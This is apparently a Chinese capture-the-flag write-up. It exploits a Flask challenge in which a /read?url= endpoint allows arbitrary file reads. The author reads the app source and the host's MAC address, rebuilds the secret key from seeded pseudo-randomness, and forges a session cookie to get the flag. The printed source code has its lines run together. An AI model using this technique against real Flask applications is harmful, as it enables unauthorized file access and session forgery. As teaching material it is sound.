考察：任意文件读取

          获取网卡地址

         伪随机

打开界面，点击read somethings直接进行了跳转

 直接修改url，发现没显示，但是访问错误的路由就会有no response

 读取flag也无果，那就读一下/app/app.py，为什么读这个，因为做了很多题文件路径都是这个

# encoding:utf-8
import re, random, uuid, urllib
from flask import Flask, session, requestapp = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)
app.debug = True@app.route('/')
def index():session['username'] = 'www-data'return 'Hello World! <a href="/read?url=https://baidu.com">Read somethings</a>'@app.route('/read')
def read():try:url = request.args.get('url')m = re.findall('^file.*', url, re.IGNORECASE)n = re.findall('flag', url, re.IGNORECASE)if m or n:return 'No Hack'res = urllib.urlopen(url)return res.read()except Exception as ex:print str(ex)return 'no response'@app.route('/flag')
def flag():if session and session['username'] == 'fuck':return open('/flag.txt').read()else:return 'Access denied'if __name__=='__main__':app.run(debug=True,host="0.0.0.0")

发现需要修改cookie，密钥就是网卡mac伪随机生成的

直接读取网卡         /sys/class/net/eth0/address

import random
random.seed(0x0242ac02b16c)
print(str(random.random()*233))

这里如果python3不对，就改为python2，然后flask_session生成cookie

 

最后获得flag